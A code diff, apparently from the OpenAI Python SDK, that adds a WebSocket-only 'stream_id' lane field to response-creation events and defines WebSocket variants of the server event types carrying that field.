index bbb4a7a443..ee918fed35 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -4178,11 +4178,11 @@ def on(
Can be used as a method (returns ``self`` for chaining)::
- connection.on("response.audio.delta", my_handler)
+ connection.on("error", my_handler)
Or as a decorator::
- @connection.on("response.audio.delta")
+ @connection.on("error")
async def my_handler(event): ...
"""
if handler is not None:
@@ -4629,11 +4629,11 @@ def on(
Can be used as a method (returns ``self`` for chaining)::
- connection.on("response.audio.delta", my_handler)
+ connection.on("error", my_handler)
Or as a decorator::
- @connection.on("response.audio.delta")
+ @connection.on("error")
def my_handler(event): ...
"""
if handler is not None:
@@ -4899,6 +4899,7 @@ def create(
service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[bool] | Omit = omit,
+ stream_id: str | Omit = omit,
stream_options: Optional[responses_client_event_param.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
text: ResponseTextConfigParam | Omit = omit,
@@ -4937,6 +4938,7 @@ def create(
"service_tier": service_tier,
"store": store,
"stream": stream,
+ "stream_id": stream_id,
"stream_options": stream_options,
"temperature": temperature,
"text": text,
@@ -4983,6 +4985,7 @@ async def create(
service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[bool] | Omit = omit,
+ stream_id: str | Omit = omit,
stream_options: Optional[responses_client_event_param.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
text: ResponseTextConfigParam | Omit = omit,
@@ -5021,6 +5024,7 @@ async def create(
"service_tier": service_tier,
"store": store,
"stream": stream,
+ "stream_id": stream_id,
"stream_options": stream_options,
"temperature": temperature,
"text": text,
diff --git a/src/openai/types/beta/beta_responses_client_event.py b/src/openai/types/beta/beta_responses_client_event.py
index 203a059621..7f86daa1ed 100644
--- a/src/openai/types/beta/beta_responses_client_event.py
+++ b/src/openai/types/beta/beta_responses_client_event.py
@@ -215,11 +215,13 @@ class ResponseCreateToolChoiceBetaSpecificProgrammaticToolCallingParam(BaseModel
class ResponseCreate(BaseModel):
"""
Client event for creating a response over a persistent WebSocket connection.
- This payload uses the same top-level fields as `POST /v1/responses`.
+ This payload uses the same top-level fields as `POST /v1/responses`, plus
+ WebSocket-only envelope metadata.
Notes:
- `stream` is implicit over WebSocket and should not be sent.
- `background` is not supported over WebSocket.
+ - `stream_id` is WebSocket-only and is not part of `POST /v1/responses`.
"""
type: Literal["response.create"]
@@ -539,6 +541,16 @@ class ResponseCreate(BaseModel):
for more information.
"""
+ stream_id: Optional[str] = None
+ """The WebSocket lane for this response.
+
+ Requests with the same `stream_id` are processed FIFO, and events for the
+ response echo the same `stream_id`.
+
+ `stream_id` controls routing; `previous_response_id` controls conversation
+ lineage, so a new lane can fork from a response created on another lane.
+ """
+
stream_options: Optional[ResponseCreateStreamOptions] = None
"""Options for streaming responses. Only set this when you set `stream: true`."""
diff --git a/src/openai/types/beta/beta_responses_client_event_param.py b/src/openai/types/beta/beta_responses_client_event_param.py
index 1b3bdd0603..8f06071750 100644
--- a/src/openai/types/beta/beta_responses_client_event_param.py
+++ b/src/openai/types/beta/beta_responses_client_event_param.py
@@ -215,11 +215,13 @@ class ResponseCreateToolChoiceBetaSpecificProgrammaticToolCallingParam(TypedDict
class ResponseCreate(TypedDict, total=False):
"""
Client event for creating a response over a persistent WebSocket connection.
- This payload uses the same top-level fields as `POST /v1/responses`.
+ This payload uses the same top-level fields as `POST /v1/responses`, plus
+ WebSocket-only envelope metadata.
Notes:
- `stream` is implicit over WebSocket and should not be sent.
- `background` is not supported over WebSocket.
+ - `stream_id` is WebSocket-only and is not part of `POST /v1/responses`.
"""
type: Required[Literal["response.create"]]
@@ -538,6 +540,16 @@ class ResponseCreate(TypedDict, total=False):
for more information.
"""
+ stream_id: str
+ """The WebSocket lane for this response.
+
+ Requests with the same `stream_id` are processed FIFO, and events for the
+ response echo the same `stream_id`.
+
+ `stream_id` controls routing; `previous_response_id` controls conversation
+ lineage, so a new lane can fork from a response created on another lane.
+ """
+
stream_options: Optional[ResponseCreateStreamOptions]
"""Options for streaming responses. Only set this when you set `stream: true`."""
diff --git a/src/openai/types/beta/beta_responses_server_event.py b/src/openai/types/beta/beta_responses_server_event.py
index effd70549c..b22ed784fb 100644
--- a/src/openai/types/beta/beta_responses_server_event.py
+++ b/src/openai/types/beta/beta_responses_server_event.py
@@ -1,6 +1,6 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from typing import Union
+from typing import Union, Optional
from typing_extensions import Annotated, TypeAlias
from ..._utils import PropertyInfo
@@ -60,63 +60,710 @@
from .beta_response_code_interpreter_call_in_progress_event import BetaResponseCodeInterpreterCallInProgressEvent
from .beta_response_code_interpreter_call_interpreting_event import BetaResponseCodeInterpreterCallInterpretingEvent
-__all__ = ["BetaResponsesServerEvent"]
+__all__ = [
+ "BetaResponsesServerEvent",
+ "BetaResponseAudioWsDelta",
+ "BetaResponseAudioWsDone",
+ "BetaResponseAudioTranscriptWsDelta",
+ "BetaResponseAudioTranscriptWsDone",
+ "BetaResponseCodeInterpreterCallCodeWsDelta",
+ "BetaResponseCodeInterpreterCallCodeWsDone",
+ "BetaResponseCodeInterpreterCallWsCompleted",
+ "BetaResponseCodeInterpreterCallInWsProgress",
+ "BetaResponseCodeInterpreterCallWsInterpreting",
+ "BetaResponseWsCompleted",
+ "BetaResponseContentPartWsAdded",
+ "BetaResponseContentPartWsDone",
+ "BetaResponseWsCreated",
+ "BetaResponseWsError",
+ "BetaResponseFileSearchCallWsCompleted",
+ "BetaResponseFileSearchCallInWsProgress",
+ "BetaResponseFileSearchCallWsSearching",
+ "BetaResponseFunctionCallArgumentsWsDelta",
+ "BetaResponseFunctionCallArgumentsWsDone",
+ "BetaResponseInWsProgress",
+ "BetaResponseWsFailed",
+ "BetaResponseWsIncomplete",
+ "BetaResponseOutputItemWsAdded",
+ "BetaResponseOutputItemWsDone",
+ "BetaResponseReasoningSummaryPartWsAdded",
+ "BetaResponseReasoningSummaryPartWsDone",
+ "BetaResponseReasoningSummaryTextWsDelta",
+ "BetaResponseReasoningSummaryTextWsDone",
+ "BetaResponseReasoningTextWsDelta",
+ "BetaResponseReasoningTextWsDone",
+ "BetaResponseRefusalWsDelta",
+ "BetaResponseRefusalWsDone",
+ "BetaResponseTextWsDelta",
+ "BetaResponseTextWsDone",
+ "BetaResponseWebSearchCallWsCompleted",
+ "BetaResponseWebSearchCallInWsProgress",
+ "BetaResponseWebSearchCallWsSearching",
+ "BetaResponseImageGenCallWsCompleted",
+ "BetaResponseImageGenCallWsGenerating",
+ "BetaResponseImageGenCallInWsProgress",
+ "BetaResponseImageGenCallPartialWsImage",
+ "BetaResponseMcpCallArgumentsWsDelta",
+ "BetaResponseMcpCallArgumentsWsDone",
+ "BetaResponseMcpCallWsCompleted",
+ "BetaResponseMcpCallWsFailed",
+ "BetaResponseMcpCallInWsProgress",
+ "BetaResponseMcpListToolsWsCompleted",
+ "BetaResponseMcpListToolsWsFailed",
+ "BetaResponseMcpListToolsInWsProgress",
+ "BetaResponseOutputTextAnnotationWsAdded",
+ "BetaResponseWsQueued",
+ "BetaResponseCustomToolCallInputWsDelta",
+ "BetaResponseCustomToolCallInputWsDone",
+]
+
+
+class BetaResponseAudioWsDelta(BetaResponseAudioDeltaEvent):
+ """Emitted when there is a partial audio response."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseAudioWsDone(BetaResponseAudioDoneEvent):
+ """Emitted when the audio response is complete."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseAudioTranscriptWsDelta(BetaResponseAudioTranscriptDeltaEvent):
+ """Emitted when there is a partial transcript of audio."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseAudioTranscriptWsDone(BetaResponseAudioTranscriptDoneEvent):
+ """Emitted when the full audio transcript is completed."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseCodeInterpreterCallCodeWsDelta(BetaResponseCodeInterpreterCallCodeDeltaEvent):
+ """Emitted when a partial code snippet is streamed by the code interpreter."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseCodeInterpreterCallCodeWsDone(BetaResponseCodeInterpreterCallCodeDoneEvent):
+ """Emitted when the code snippet is finalized by the code interpreter."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseCodeInterpreterCallWsCompleted(BetaResponseCodeInterpreterCallCompletedEvent):
+ """Emitted when the code interpreter call is completed."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseCodeInterpreterCallInWsProgress(BetaResponseCodeInterpreterCallInProgressEvent):
+ """Emitted when a code interpreter call is in progress."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseCodeInterpreterCallWsInterpreting(BetaResponseCodeInterpreterCallInterpretingEvent):
+ """Emitted when the code interpreter is actively interpreting the code snippet."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseWsCompleted(BetaResponseCompletedEvent):
+ """Emitted when the model response is complete."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseContentPartWsAdded(BetaResponseContentPartAddedEvent):
+ """Emitted when a new content part is added."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseContentPartWsDone(BetaResponseContentPartDoneEvent):
+ """Emitted when a content part is done."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseWsCreated(BetaResponseCreatedEvent):
+ """An event that is emitted when a response is created."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseWsError(BetaResponseErrorEvent):
+ """Emitted when an error occurs."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseFileSearchCallWsCompleted(BetaResponseFileSearchCallCompletedEvent):
+ """Emitted when a file search call is completed (results found)."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseFileSearchCallInWsProgress(BetaResponseFileSearchCallInProgressEvent):
+ """Emitted when a file search call is initiated."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseFileSearchCallWsSearching(BetaResponseFileSearchCallSearchingEvent):
+ """Emitted when a file search is currently searching."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseFunctionCallArgumentsWsDelta(BetaResponseFunctionCallArgumentsDeltaEvent):
+ """Emitted when there is a partial function-call arguments delta."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseFunctionCallArgumentsWsDone(BetaResponseFunctionCallArgumentsDoneEvent):
+ """Emitted when function-call arguments are finalized."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseInWsProgress(BetaResponseInProgressEvent):
+ """Emitted when the response is in progress."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseWsFailed(BetaResponseFailedEvent):
+ """An event that is emitted when a response fails."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseWsIncomplete(BetaResponseIncompleteEvent):
+ """An event that is emitted when a response finishes as incomplete."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseOutputItemWsAdded(BetaResponseOutputItemAddedEvent):
+ """Emitted when a new output item is added."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseOutputItemWsDone(BetaResponseOutputItemDoneEvent):
+ """Emitted when an output item is marked done."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseReasoningSummaryPartWsAdded(BetaResponseReasoningSummaryPartAddedEvent):
+ """Emitted when a new reasoning summary part is added."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseReasoningSummaryPartWsDone(BetaResponseReasoningSummaryPartDoneEvent):
+ """Emitted when a reasoning summary part is completed."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseReasoningSummaryTextWsDelta(BetaResponseReasoningSummaryTextDeltaEvent):
+ """Emitted when a delta is added to a reasoning summary text."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseReasoningSummaryTextWsDone(BetaResponseReasoningSummaryTextDoneEvent):
+ """Emitted when a reasoning summary text is completed."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseReasoningTextWsDelta(BetaResponseReasoningTextDeltaEvent):
+ """Emitted when a delta is added to a reasoning text."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseReasoningTextWsDone(BetaResponseReasoningTextDoneEvent):
+ """Emitted when a reasoning text is completed."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseRefusalWsDelta(BetaResponseRefusalDeltaEvent):
+ """Emitted when there is a partial refusal text."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseRefusalWsDone(BetaResponseRefusalDoneEvent):
+ """Emitted when refusal text is finalized."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseTextWsDelta(BetaResponseTextDeltaEvent):
+ """Emitted when there is an additional text delta."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseTextWsDone(BetaResponseTextDoneEvent):
+ """Emitted when text content is finalized."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseWebSearchCallWsCompleted(BetaResponseWebSearchCallCompletedEvent):
+ """Emitted when a web search call is completed."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseWebSearchCallInWsProgress(BetaResponseWebSearchCallInProgressEvent):
+ """Emitted when a web search call is initiated."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseWebSearchCallWsSearching(BetaResponseWebSearchCallSearchingEvent):
+ """Emitted when a web search call is executing."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseImageGenCallWsCompleted(BetaResponseImageGenCallCompletedEvent):
+ """
+ Emitted when an image generation tool call has completed and the final image is available.
+ """
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseImageGenCallWsGenerating(BetaResponseImageGenCallGeneratingEvent):
+ """
+ Emitted when an image generation tool call is actively generating an image (intermediate state).
+ """
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseImageGenCallInWsProgress(BetaResponseImageGenCallInProgressEvent):
+ """Emitted when an image generation tool call is in progress."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseImageGenCallPartialWsImage(BetaResponseImageGenCallPartialImageEvent):
+ """Emitted when a partial image is available during image generation streaming."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseMcpCallArgumentsWsDelta(BetaResponseMcpCallArgumentsDeltaEvent):
+ """
+ Emitted when there is a delta (partial update) to the arguments of an MCP tool call.
+ """
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseMcpCallArgumentsWsDone(BetaResponseMcpCallArgumentsDoneEvent):
+ """Emitted when the arguments for an MCP tool call are finalized."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseMcpCallWsCompleted(BetaResponseMcpCallCompletedEvent):
+ """Emitted when an MCP tool call has completed successfully."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseMcpCallWsFailed(BetaResponseMcpCallFailedEvent):
+ """Emitted when an MCP tool call has failed."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseMcpCallInWsProgress(BetaResponseMcpCallInProgressEvent):
+ """Emitted when an MCP tool call is in progress."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseMcpListToolsWsCompleted(BetaResponseMcpListToolsCompletedEvent):
+ """Emitted when the list of available MCP tools has been successfully retrieved."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseMcpListToolsWsFailed(BetaResponseMcpListToolsFailedEvent):
+ """Emitted when the attempt to list available MCP tools has failed."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseMcpListToolsInWsProgress(BetaResponseMcpListToolsInProgressEvent):
+ """
+ Emitted when the system is in the process of retrieving the list of available MCP tools.
+ """
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseOutputTextAnnotationWsAdded(BetaResponseOutputTextAnnotationAddedEvent):
+ """Emitted when an annotation is added to output text content."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseWsQueued(BetaResponseQueuedEvent):
+ """Emitted when a response is queued and waiting to be processed."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseCustomToolCallInputWsDelta(BetaResponseCustomToolCallInputDeltaEvent):
+ """Event representing a delta (partial update) to the input of a custom tool call."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseCustomToolCallInputWsDone(BetaResponseCustomToolCallInputDoneEvent):
+ """Event indicating that input for a custom tool call is complete."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
BetaResponsesServerEvent: TypeAlias = Annotated[
Union[
- BetaResponseAudioDeltaEvent,
- BetaResponseAudioDoneEvent,
- BetaResponseAudioTranscriptDeltaEvent,
- BetaResponseAudioTranscriptDoneEvent,
- BetaResponseCodeInterpreterCallCodeDeltaEvent,
- BetaResponseCodeInterpreterCallCodeDoneEvent,
- BetaResponseCodeInterpreterCallCompletedEvent,
- BetaResponseCodeInterpreterCallInProgressEvent,
- BetaResponseCodeInterpreterCallInterpretingEvent,
- BetaResponseCompletedEvent,
- BetaResponseContentPartAddedEvent,
- BetaResponseContentPartDoneEvent,
- BetaResponseCreatedEvent,
- BetaResponseErrorEvent,
- BetaResponseFileSearchCallCompletedEvent,
- BetaResponseFileSearchCallInProgressEvent,
- BetaResponseFileSearchCallSearchingEvent,
- BetaResponseFunctionCallArgumentsDeltaEvent,
- BetaResponseFunctionCallArgumentsDoneEvent,
- BetaResponseInProgressEvent,
- BetaResponseFailedEvent,
- BetaResponseIncompleteEvent,
- BetaResponseOutputItemAddedEvent,
- BetaResponseOutputItemDoneEvent,
- BetaResponseReasoningSummaryPartAddedEvent,
- BetaResponseReasoningSummaryPartDoneEvent,
- BetaResponseReasoningSummaryTextDeltaEvent,
- BetaResponseReasoningSummaryTextDoneEvent,
- BetaResponseReasoningTextDeltaEvent,
- BetaResponseReasoningTextDoneEvent,
- BetaResponseRefusalDeltaEvent,
- BetaResponseRefusalDoneEvent,
- BetaResponseTextDeltaEvent,
- BetaResponseTextDoneEvent,
- BetaResponseWebSearchCallCompletedEvent,
- BetaResponseWebSearchCallInProgressEvent,
- BetaResponseWebSearchCallSearchingEvent,
- BetaResponseImageGenCallCompletedEvent,
- BetaResponseImageGenCallGeneratingEvent,
- BetaResponseImageGenCallInProgressEvent,
- BetaResponseImageGenCallPartialImageEvent,
- BetaResponseMcpCallArgumentsDeltaEvent,
- BetaResponseMcpCallArgumentsDoneEvent,
- BetaResponseMcpCallCompletedEvent,
- BetaResponseMcpCallFailedEvent,
- BetaResponseMcpCallInProgressEvent,
- BetaResponseMcpListToolsCompletedEvent,
- BetaResponseMcpListToolsFailedEvent,
- BetaResponseMcpListToolsInProgressEvent,
- BetaResponseOutputTextAnnotationAddedEvent,
- BetaResponseQueuedEvent,
- BetaResponseCustomToolCallInputDeltaEvent,
- BetaResponseCustomToolCallInputDoneEvent,
+ BetaResponseAudioWsDelta,
+ BetaResponseAudioWsDone,
+ BetaResponseAudioTranscriptWsDelta,
+ BetaResponseAudioTranscriptWsDone,
+ BetaResponseCodeInterpreterCallCodeWsDelta,
+ BetaResponseCodeInterpreterCallCodeWsDone,
+ BetaResponseCodeInterpreterCallWsCompleted,
+ BetaResponseCodeInterpreterCallInWsProgress,
+ BetaResponseCodeInterpreterCallWsInterpreting,
+ BetaResponseWsCompleted,
+ BetaResponseContentPartWsAdded,
+ BetaResponseContentPartWsDone,
+ BetaResponseWsCreated,
+ BetaResponseWsError,
+ BetaResponseFileSearchCallWsCompleted,
+ BetaResponseFileSearchCallInWsProgress,
+ BetaResponseFileSearchCallWsSearching,
+ BetaResponseFunctionCallArgumentsWsDelta,
+ BetaResponseFunctionCallArgumentsWsDone,
+ BetaResponseInWsProgress,
+ BetaResponseWsFailed,
+ BetaResponseWsIncomplete,
+ BetaResponseOutputItemWsAdded,
+ BetaResponseOutputItemWsDone,
+ BetaResponseReasoningSummaryPartWsAdded,
+ BetaResponseReasoningSummaryPartWsDone,
+ BetaResponseReasoningSummaryTextWsDelta,
+ BetaResponseReasoningSummaryTextWsDone,
+ BetaResponseReasoningTextWsDelta,
+ BetaResponseReasoningTextWsDone,
+ BetaResponseRefusalWsDelta,
+ BetaResponseRefusalWsDone,
+ BetaResponseTextWsDelta,
+ BetaResponseTextWsDone,
+ BetaResponseWebSearchCallWsCompleted,
+ BetaResponseWebSearchCallInWsProgress,
+ BetaResponseWebSearchCallWsSearching,
+ BetaResponseImageGenCallWsCompleted,
+ BetaResponseImageGenCallWsGenerating,
+ BetaResponseImageGenCallInWsProgress,
+ BetaResponseImageGenCallPartialWsImage,
+ BetaResponseMcpCallArgumentsWsDelta,
+ BetaResponseMcpCallArgumentsWsDone,
+ BetaResponseMcpCallWsCompleted,
+ BetaResponseMcpCallWsFailed,
+ BetaResponseMcpCallInWsProgress,
+ BetaResponseMcpListToolsWsCompleted,
+ BetaResponseMcpListToolsWsFailed,
+ BetaResponseMcpListToolsInWsProgress,
+ BetaResponseOutputTextAnnotationWsAdded,
+ BetaResponseWsQueued,
+ BetaResponseCustomToolCallInputWsDelta,
+ BetaResponseCustomToolCallInputWsDone,
BetaResponseInjectCreatedEvent,
BetaResponseInjectFailedEvent,
],
diff --git a/src/openai/types/responses/responses_client_event.py b/src/openai/types/responses/responses_client_event.py
index 21ef6e17f5..e40f64bd81 100644
--- a/src/openai/types/responses/responses_client_event.py
+++ b/src/openai/types/responses/responses_client_event.py
@@ -351,6 +351,16 @@ class ResponsesClientEvent(BaseModel):
for more information.
"""
+ stream_id: Optional[str] = None
+ """The WebSocket lane for this response.
+
+ Requests with the same `stream_id` are processed FIFO, and events for the
+ response echo the same `stream_id`.
+
+ `stream_id` controls routing; `previous_response_id` controls conversation
+ lineage, so a new lane can fork from a response created on another lane.
+ """
+
stream_options: Optional[StreamOptions] = None
"""Options for streaming responses. Only set this when you set `stream: true`."""
diff --git a/src/openai/types/responses/responses_client_event_param.py b/src/openai/types/responses/responses_client_event_param.py
index 6a86c5a211..ddb0cbedac 100644
--- a/src/openai/types/responses/responses_client_event_param.py
+++ b/src/openai/types/responses/responses_client_event_param.py
@@ -352,6 +352,16 @@ class ResponsesClientEventParam(TypedDict, total=False):
for more information.
"""
+ stream_id: str
+ """The WebSocket lane for this response.
+
+ Requests with the same `stream_id` are processed FIFO, and events for the
+ response echo the same `stream_id`.
+
+ `stream_id` controls routing; `previous_response_id` controls conversation
+ lineage, so a new lane can fork from a response created on another lane.
+ """
+
stream_options: Optional[StreamOptions]
"""Options for streaming responses. Only set this when you set `stream: true`."""
diff --git a/src/openai/types/responses/responses_server_event.py b/src/openai/types/responses/responses_server_event.py
index 9c6c2d5e58..2ae4505366 100644
--- a/src/openai/types/responses/responses_server_event.py
+++ b/src/openai/types/responses/responses_server_event.py
@@ -1,6 +1,6 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from typing import Union
+from typing import Union, Optional
from typing_extensions import Annotated, TypeAlias
from ..._utils import PropertyInfo
@@ -58,63 +58,710 @@
from .response_code_interpreter_call_in_progress_event import ResponseCodeInterpreterCallInProgressEvent
from .response_code_interpreter_call_interpreting_event import ResponseCodeInterpreterCallInterpretingEvent
-__all__ = ["ResponsesServerEvent"]
+__all__ = [
+ "ResponsesServerEvent",
+ "ResponseAudioWsDelta",
+ "ResponseAudioWsDone",
+ "ResponseAudioTranscriptWsDelta",
+ "ResponseAudioTranscriptWsDone",
+ "ResponseCodeInterpreterCallCodeWsDelta",
+ "ResponseCodeInterpreterCallCodeWsDone",
+ "ResponseCodeInterpreterCallWsCompleted",
+ "ResponseCodeInterpreterCallInWsProgress",
+ "ResponseCodeInterpreterCallWsInterpreting",
+ "ResponseWsCompleted",
+ "ResponseContentPartWsAdded",
+ "ResponseContentPartWsDone",
+ "ResponseWsCreated",
+ "ResponseWsError",
+ "ResponseFileSearchCallWsCompleted",
+ "ResponseFileSearchCallInWsProgress",
